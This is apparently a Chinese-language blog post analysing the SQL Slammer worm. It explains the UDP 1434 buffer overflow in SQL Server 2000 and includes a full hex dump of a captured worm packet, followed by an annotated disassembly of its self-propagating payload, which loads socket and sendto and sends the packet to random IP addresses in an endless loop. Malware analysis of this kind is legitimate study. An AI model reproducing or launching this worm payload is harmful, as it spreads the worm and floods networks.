SQL slammer蠕蟲王彙編代碼詳解

簡介

網絡安全其實並不是我做的比較多的方向,所以對於病毒的研究也只是皮毛。不過這裏公開一下對於SQLslammer的代碼分析,其中借鑑了不少,並且自己也對彙編代碼進行了更加清晰的解釋,我相信即使你不熟悉彙編看了我的標註也可以明白程序邏輯。

甚至說不定你對彙編還變得更加熟練了。哈哈~~

SQL slammer

Microsoft SQL Server 2000支持在單個物理主機上提供多個SQL服務器的實例,在對每個實例操作時,都可以將其看作是一個單獨的服務器。不過多個實例不能全部使用標準SQL服務會話會話端口(TCP 1433),所以SQL Server Resolution服務操作監聽在UDP 1434端口,提供一種使客戶端查詢適當的網絡終端用於特殊的SQL服務實例的途徑。

當SQL Server Resolution服務在UDP1434端口接收到第一個字節設置爲0x04的UDP包時,SQL監視線程會獲取UDP包中的數據並使用此用戶提供的信息來嘗試打開註冊表中的某一鍵值。如發送\x04\x41\x41\x41\x41類似的UDP包,SQL服務程序就會打開如下註冊表鍵:HKLM\Software\Microsoft\Microsoft SQL Server\AAAA\MSSQLServer\CurrentVersion。

攻擊者可以通過在這個UDP包後追加大量字符串數據,當嘗試打開這個字符串相對應的鍵值時,會發生基於棧的緩衝區溢出。通過包含“jmp esp”或者“call esp”指令的地址覆蓋棧中保存的返回地址,可導致以SQL Server進程的權限在系統中執行任意指令。蠕蟲溢出成功取得系統控制權後,就開始向隨機IP地址發送自身,由於這是一個死循環的過程,發包密度僅和機器性能和網絡帶寬有關,所以發送的數據量非常大。

在實際的測試中發現,如果在同一網段中有一臺機器中了SQL蠕蟲王,該網段中的每一臺機器每秒鐘都可以收到近千個UDP數據包。該蠕蟲對被感染機器本身並沒有進行任何惡意破壞,它僅存在內存之中,不會向硬盤上寫文件。因此對於感染的系統,重新啓動後就可以清除該蠕蟲,但是如果不及時打上補丁,仍然會重複感染。由於發送數據包占用了大量系統資源和網絡帶寬,形成UDP Flood,因此感染了該蠕蟲的網絡性能會極劇下降。一個百兆網絡內只要有一兩臺機器感染該蠕蟲就會導致整個網絡訪問阻塞。

分析

首先我們看一下slammer的數據:
00000028h: 01 00 5E 31 7F D5 00 05 5D 61 48 6B 08 00 45 00 ; …^1?.]aHk…E.
00000038h: 01 94 8F 3A 00 00 01 11 91 14 CA 72 6A 11 E3 B1 ; .攺:…?蕆j.惚
00000048h: 7F D5 0D F9 05 9A 01 80 8F 47 04 01 01 01 01 01 ; ???€廏…
00000058h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; …
00000068h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; …
00000078h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; …
00000088h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; …
00000098h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; …
000000a8h: 01 01 01 01 01 01 01 01 01 01 01 DC C9 B0 42 EB ; …萇癇?
000000b8h: 0E 01 01 01 01 01 01 01 70 AE 42 01 70 AE 42 90 ; …p瓸.p瓸?
000000c8h: 90 90 90 90 90 90 90 68 DC C9 B0 42 B8 01 01 01 ; 悙悙悙恏萇癇?..
000000d8h: 01 31 C9 B1 18 50 E2 FD 35 01 01 01 05 50 89 E5 ; .1殺.P愷5…P夊
000000e8h: 51 68 2E 64 6C 6C 68 65 6C 33 32 68 6B 65 72 6E ; Qh.dllhel32hkern
000000f8h: 51 68 6F 75 6E 74 68 69 63 6B 43 68 47 65 74 54 ; QhounthickChGetT
00000108h: 66 B9 6C 6C 51 68 33 32 2E 64 68 77 73 32 5F 66 ; f筶lQh32.dhws2_f
00000118h: B9 65 74 51 68 73 6F 63 6B 66 B9 74 6F 51 68 73 ; 筫tQhsockf箃oQhs
00000128h: 65 6E 64 BE 18 10 AE 42 8D 45 D4 50 FF 16 50 8D ; end?.瓸岴訮.P?
00000138h: 45 E0 50 8D 45 F0 50 FF 16 50 BE 10 10 AE 42 8B ; E郟岴餚.P?.瓸?
00000148h: 1E 8B 03 3D 55 8B EC 51 74 05 BE 1C 10 AE 42 FF ; .?=U嬱Qt.?.瓸
00000158h: 16 FF D0 31 C9 51 51 50 81 F1 03 01 04 9B 81 F1 ; .?蒕QP侎…泚?
00000168h: 01 01 01 01 51 8D 45 CC 50 8B 45 C0 50 FF 16 6A ; …Q岴蘌婨繮.j
00000178h: 11 6A 02 6A 02 FF D0 50 8D 45 C4 50 8B 45 C0 50 ; .j.j.蠵岴腜婨繮
00000188h: FF 16 89 C6 09 DB 81 F3 3C 61 D9 FF 8B 45 B4 8D ; .壠.蹃?a?婨磵
00000198h: 0C 40 8D 14 88 C1 E2 04 01 C2 C1 E2 08 29 C2 8D ; .@?埩?.鋁?)聧
000001a8h: 04 90 01 D8 89 45 B4 6A 10 8D 45 B0 50 31 C9 51 ; .?貕E磈.岴癙1蒕
000001b8h: 66 81 F1 78 01 51 8D 45 03 50 8B 45 AC 50 FF D6 ; f侎x.Q岴.P婨琍?
000001c8h: EB CA

這是通過抓包得到數據,是一個完整的UDP數據包。

前十四個字節是數據幀的幀頭。第二個加粗的的八個字節是UDP報頭。而中間的20個字節是IP頭部。從04之後的376字節是slammer的功能部分。

彙編

該蠕蟲由被攻擊機器中的sqlsort.dll存在的緩衝區溢出漏洞進行攻擊,獲得控制權。隨後分別從kernel32.dll以及ws2_32.dll中獲得GetTickCount函數和socket以及sendto函數地址。緊接着調用 GetTickCount函數,利用其返回值產生一個隨機數種子,並用此種子產生一個IP地址作爲攻擊對象;隨後創建一個UDP socket,將自身代碼發送到目標IP的1434端口,隨後進入一個無限循環中,重複上述產生隨機IP地址、發送攻擊包等一系列動作。

上面代碼的前一部分,它構造了一個緩衝區溢出的數據包。其中DC C9 B0 42部分是被替換的返回地址, 而該地址0x42B0C9DC是指向sqlsort.dll中的一條指令jmp esp,因此當處理數據包的函數RET指令返回時,ESP正好指向EB 0E(JMP $+0x0E),其執行時會馬上跳到90處開始執行,一串空指令後,便開始病毒正式代碼的執行。

00401000 EB0E                	jmp     loc_00401010
00401002 0101                	add     [ecx],eax
00401004 0101                	add     [ecx],eax
00401006 0101                 	add     [ecx],eax
00401008 0170AE              	add     [eax-52h],esi
0040100B 42                  	inc     edx
0040100C 0170AE             	add     [eax-52h],esi
0040100F 42                  	inc     edx

以上主要是初始化部分,並沒有實際的功能。

00401010                    loc_00401010:
00401010 90                  	nop
00401011 90                  	nop
00401012 90                  	nop
00401013 90                  	nop
00401014 90                     	nop
00401015 90                  	nop
00401016 90                   	nop
00401017 90                   	nop

以下是主要的功能模塊。
開始重新寫回包中損壞的數據,這裏注意是小段存儲,另外可以和上部分的數據進行對照。

壓棧
00401018 68DCC9B042          	push    42B0C9DCh ;

將1010101賦給eax寄存器,這裏大家對照數據來看,是爲了進行重新填充數據。
0040101D B801010101           	mov    eax,1010101h

xor 異或清零ecx
00401022 31C9                	xor     ecx,ecx

這裏cl寄存器是關鍵,他是一個16位寄存器,和loop指令組合使用,可以簡單理解爲cl中表示的是loop循環的次數。
00401024 B118                	mov    cl,18h		;往堆棧中壓入60H個01
00401026                    loc_00401026:
00401026 50                   	push    eax
00401027 E2FD                 	loop    loc_00401026
這裏進行loop 執行18H次的push eax, 大家對照上一部分的數據就可以知道爲什麼這麼寫了。

00401029 3501010105           	xor     eax,5010101h	;
此時eax = 1010101  然後執行異或就得到了,此時eax=04000000

0040102E 50                   	push    eax
0040102F 89E5                 	mov    ebp,esp;
此時ebp+3指向字節04
此時整個包已經重新構造完畢,和高地址字節形成蠕蟲將要發送的包的內容

這裏需要注意一下,由於執行了mov ebp,esp,所以此時相當於ebp被重置了。後面的壓棧操作就重新衝ebp開始計數了。
這裏重要是因爲決定我們後面如何根據基址來調用堆棧中的數據。
00401031 51                   	push    ecx
00401032 682E646C6C           	push    6C6C642Eh 
00401037 68656C3332            	push    32336C65h
0040103C 686B65726E           	push    6E72656Bh 	;kernel32.dll字串進棧
這裏我們記下kernel32.dll的地址, ebp+10h

00401041 51                   	push    ecx
00401042 686F756E74           	push    746E756Fh
00401047 6869636B43            	push    436B6369h
0040104C 6847657454           	push    54746547h 	;GetTickCount函數名字串入棧
同理得到GTC函數的地址:ebp+20H

00401051 66B96C6C            	mov    cx,6C6Ch
00401055 51                   	push    ecx
00401056 6833322E64           	push    642E3233h
0040105B 687773325F          	push    5F327377h 	;ws2_32.dll字串入棧

00401060 66B96574             	mov    cx,7465h
00401064 51                   	push    ecx
00401065 68736F636B           	push    6B636F73h 	;socket函數名字符串進棧

0040106A 66B9746F             	mov    cx,6F74h
0040106E 51                    	push    ecx
0040106F 6873656E64           	push    646E6573h 	;sendto函數名字符串入棧

00401074 BE1810AE42          	mov   esi,42AE1018h 
;從IAT中直接獲得Loadlibrary的函數地址
00401079 8D45D4               	lea    eax,[ebp-2Ch] 	;即字串ws2_32.dll的開始位置
0040107C 50                  	push   eax 
;上面的dll串首址進棧,Loadlibrary函數的參數

0040107D FF16                	call    dword ptr [esi] ;調用Loadlibrary函數
0040107F 50                   	push   eax;將ws2_32.dll的模塊地址壓入堆棧
00401080 8D45E0              	lea    eax,[ebp-20h] 	
;得到GetTickCount函數名字符串首地址

00401083 50                  	push   eax 			
;首地址入堆棧,作爲後面GetProcAddress的參數

00401084 8D45F0              	lea    eax,[ebp-10h] 	;獲得kernel32.dll字串首地址
00401087 50                    	push   eax			;kernel32.dll字串首地址入棧
00401088 FF16                 	call    dword ptr [esi] 	;調用Loadlibrary函數
0040108A 50                  	push   eax 

;kernel32.dll模塊地址入棧,作爲後面GetProcAddress的參數
0040108B BE1010AE42        	mov    esi,42AE1010h	;從IAT中獲得GetProcAddress函數地址
00401090 8B1E                 	mov    ebx,[esi]
00401092 8B03                	mov    eax,[ebx]
00401094 3D558BEC51        		cmp    eax,51EC8B55h
;判斷是否取用了GetProcAddress真正地址
00401099 7405                	jz      loc_004010A0
0040109B BE1C10AE42          	mov   esi,42AE101Ch 
;從IAT中獲得GetProcAddress真正地址的存放地址

004010A0                    loc_004010A0:
004010A0 FF16                 	call   dword ptr [esi] 	
;調用GetProcAddress,獲得GetTickCount函數地址
004010A2 FFD0                	call   eax			;調用GetTickCount函數
004010A4 31C9                	xor   ecx,ecx
004010A6 51                  	push  ecx
004010A7 51                  	push  ecx
004010A8 50                   	push  eax	;eax爲通過GetTickCount獲得的隨機數
004010A9 81F10301049B        	xor   ecx,9B040103h
004010AF 81F101010101         	xor   ecx,1010101h
004010B5 51                  	push ecx
;exc:9A050002 =〉port 1434(59AH) / AF_INET(02)
004010B6 8D45CC             	lea   eax,[ebp-34h] ;獲得socket函數名字串首地址
004010B9 50                 		push  eax			;參數入棧
004010BA 8B45C0               	mov  eax,[ebp-40h] 	;ws2_32.dll的模塊基地址
004010BD 50                   	push  eax			;參數入棧
004010BE FF16               	call   dword ptr [esi] ;調用GetProcAddress函數
004010C0 6A11                	push  11h		   ;參數protocol,此時無意義
004010C2 6A02                 	push  2			
;參數type,SOCK_DGRAM,數據報套接字,使用UDP協議
004010C4 6A02                	push  2			;AF_INET,套接字的地址格式
004010C6 FFD0                	call   eax 			;調用socket函數
004010C8 50                  	push  eax 			;返回的套接字句柄進棧
004010C9 8D45C4              	lea   eax,[ebp-3Ch] 	;sendto函數名字串首址
004010CC 50                  	push  eax 
004010CD 8B45C0             	mov  eax,[ebp-40h] 	;ws2_32.dll的模塊基地址
004010D0 50                  	push  eax
004010D1 FF16                	call   dword ptr [esi] 	;調用GetProcAddress函數
004010D3 89C6                 	mov  esi,eax			;得到sendto函數地址
004010D5 09DB                	or    ebx,ebx
004010D7 81F33C61D9FF        	xor   ebx,0FFD9613Ch
004010DD                    loc_004010DD:
004010DD 8B45B4              	mov  eax,[ebp-4Ch] 
;上面GetTickCount函數得到的隨機數放到eax中,作爲IP變換的隨機數種子
004010E0 8D0C40              	lea   ecx,[eax+eax*2];這裏開始進行運算,得到隨機IP
004010E3 8D1488               	lea   edx,[eax+ecx*4]
004010E6 C1E204               	shl   edx,4
004010E9 01C2                  	add  edx,eax
004010EB C1E208               	shl   edx,8
004010EE 29C2                 	sub   edx,eax
004010F0 8D0490               	lea   eax,[eax+edx*4]
004010F3 01D8                 	add  eax,ebx
004010F5 8945B4              	mov  [ebp-4Ch],eax;保存得到的隨機IP,作爲下一個IP生成函數的輸入
004010F8 6A10                 	push  10h 		;目標Socket結構長度16個字節
004010FA 8D45B0              	lea   eax,[ebp-50h] 
004010FD 50                   	push  eax		;目標Socket結構首地址
004010FE 31C9                 	xor   ecx,ecx
00401100 51                  	push  ecx 		;flags
00401101 6681F17801           	xor   cx,178h 	;要發送的數據長度:376字節
00401106 51                   	push  ecx
00401107 8D4503                	lea   eax,[ebp+3]
0040110A 50                    	push  eax 		;要發送數據的緩衝區首址
0040110B 8B45AC              	mov  eax,[ebp-54h]
0040110E 50                   	push  eax 		;套接字句炳
0040110F FFD6                 	call   esi 		;調用sendto函數往目標IP發送數據
00401111 EBCA                	jmp   loc_004010DD

歡迎指正,大家共勉~~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章